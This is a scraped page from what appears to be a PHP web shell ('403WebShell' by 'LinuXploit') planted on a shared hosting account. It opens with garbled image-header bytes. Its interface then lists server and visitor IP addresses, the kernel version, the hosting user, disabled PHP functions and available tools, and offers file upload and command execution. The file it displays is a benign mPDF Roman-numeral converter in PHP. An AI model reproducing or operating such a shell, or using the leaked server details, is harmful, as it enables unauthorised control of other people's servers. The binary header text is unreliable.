JFIF ( %!1"%)-...383.7(-.+  -%&--------------------------------------------------"J !1"AQaq2BR#r3Sbs4T$Dd(!1"2AQaq# ?q& JX"-` Es?Bl 1( H6fX[vʆEiB!j{hu85o%TI/*T `WTXط8%ɀt*$PaSIa9gkG$t h&)ٞ)O.4uCm!w*:K*I&bDl"+ ӹ=<Ӷ|FtI{7_/,/T ̫ԷC ȷMq9[1w!R{ U<?СCԀdc8'124,I'3-G s4IcWq$Ro瓩!"j']VӤ'B4H8n)iv$Hb=B:B=YݚXZILcA g$ΕzuPD? !զIEÁ $D'l"gp`+6֏$1Ľ˫EjUpܣvDت\2Wڰ_iIْ/~'cŧE:ɝBn9&rt,H`*Tf֙LK$#d "p/n$J oJ@'I0B+NRwj2GH.BWLOiGP W@#"@ę| 2@P D2[Vj!VE11pHn,c~T;U"H㤑EBxHClTZ7:х5,w=.`,:Lt1tE9""@pȠb\I_IƝpe &܏/ 3, WE2aDK &cy(3nI7'0W էΠ\&@:נ!oZIܻ1j@=So LJ{5UĜiʒP H{^iaH?U2j@<'13nXkdP&%ɰ&-(<]Vlya7 6c1HJcmǸ!˗GB3Ԏߏ\=qIPNĉA)JeJtEJbIxWbdóT V'0 WH*|D u6ӈHZh[8e  $v>p!rIWeB,i '佧 )g#[)m!tahm_<6nL/ BcT{"HSfp7|ybi8'.ih%,wm  403WebShell
403Webshell
Server IP : 88.223.91.189  /  Your IP : 216.73.216.239
Web Server : LiteSpeed
System : Linux id-dci-web1986.main-hosting.eu 5.14.0-611.26.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Jan 29 05:24:47 EST 2026 x86_64
User : u686484674 ( 686484674)
PHP Version : 8.0.30
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/./self/root/home/u686484674/vendor/mpdf/mpdf/src/Conversion/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/./self/root/home/u686484674/vendor/mpdf/mpdf/src/Conversion/DecToRoman.php
<?php

namespace Mpdf\Conversion;

/**
 * @link https://github.com/JeroenDeDauw/RomanNumbers
 * @license GNU GPL v2+
 */
class DecToRoman
{

	private $symbolMap;

	public function __construct(array $symbolMap = [])
	{
		if ($symbolMap !== []) {
			$this->symbolMap = $symbolMap;
		} else {
			$this->symbolMap = [['I', 'V'], ['X', 'L'], ['C', 'D'], ['M']];
		}
	}

	public function convert($number, $toUpper = true)
	{
		$this->ensureNumberIsAnInteger($number);
		$this->ensureNumberIsWithinBounds($number);

		return $this->constructRomanString($number, $toUpper);
	}

	private function ensureNumberIsAnInteger($number)
	{
		if (!is_int($number)) {
			throw new \InvalidArgumentException('Can only translate integers to roman');
		}
	}

	private function ensureNumberIsWithinBounds($number)
	{
		if ($number < 1) {
			throw new \OutOfRangeException('Numbers under one cannot be translated to roman');
		}

		if ($number > $this->getUpperBound()) {
			throw new \OutOfBoundsException('The provided number is to big to be fully translated to roman');
		}
	}

	public function getUpperBound()
	{
		$symbolGroupCount = count($this->symbolMap);
		$valueOfOne = 10 ** ($symbolGroupCount - 1);

		$hasFiveSymbol = array_key_exists(1, $this->symbolMap[$symbolGroupCount - 1]);

		return $valueOfOne * ($hasFiveSymbol ? 9 : 4) - 1;
	}

	private function constructRomanString($number, $toUpper)
	{
		$romanNumber = '';

		$symbolMapCount = count($this->symbolMap);
		for ($i = 0; $i < $symbolMapCount; $i++) {
			$divisor = 10 ** ($i + 1);
			$remainder = $number % $divisor;
			$digit = $remainder / (10 ** $i);

			$number -= $remainder;
			$romanNumber = $this->formatDigit($digit, $i) . $romanNumber;

			if ($number === 0) {
				break;
			}
		}

		if (!$toUpper) {
			$romanNumber = strtolower($romanNumber);
		}

		return $romanNumber;
	}

	private function formatDigit($digit, $orderOfMagnitude)
	{
		if ($digit === 0) {
			return '';
		}

		if ($digit === 4 || $digit === 9) {
			return $this->formatFourOrNine($digit, $orderOfMagnitude);
		}

		$romanNumber = '';

		if ($digit >= 5) {
			$digit -= 5;
			$romanNumber .= $this->getFiveSymbol($orderOfMagnitude);
		}

		$romanNumber .= $this->formatOneToThree($orderOfMagnitude, $digit);

		return $romanNumber;
	}

	private function formatFourOrNine($digit, $orderOfMagnitude)
	{
		$firstSymbol = $this->getOneSymbol($orderOfMagnitude);
		$secondSymbol = $digit === 4
			? $this->getFiveSymbol($orderOfMagnitude)
			: $this->getTenSymbol($orderOfMagnitude);

		return $firstSymbol . $secondSymbol;
	}

	private function formatOneToThree($orderOfMagnitude, $digit)
	{
		return str_repeat($this->getOneSymbol($orderOfMagnitude), $digit);
	}

	private function getOneSymbol($orderOfMagnitude)
	{
		return $this->symbolMap[$orderOfMagnitude][0];
	}

	private function getFiveSymbol($orderOfMagnitude)
	{
		return $this->symbolMap[$orderOfMagnitude][1];
	}

	private function getTenSymbol($orderOfMagnitude)
	{
		return $this->symbolMap[$orderOfMagnitude + 1][0];
	}

}

Youez - 2016 - github.com/yon3zu
LinuXploit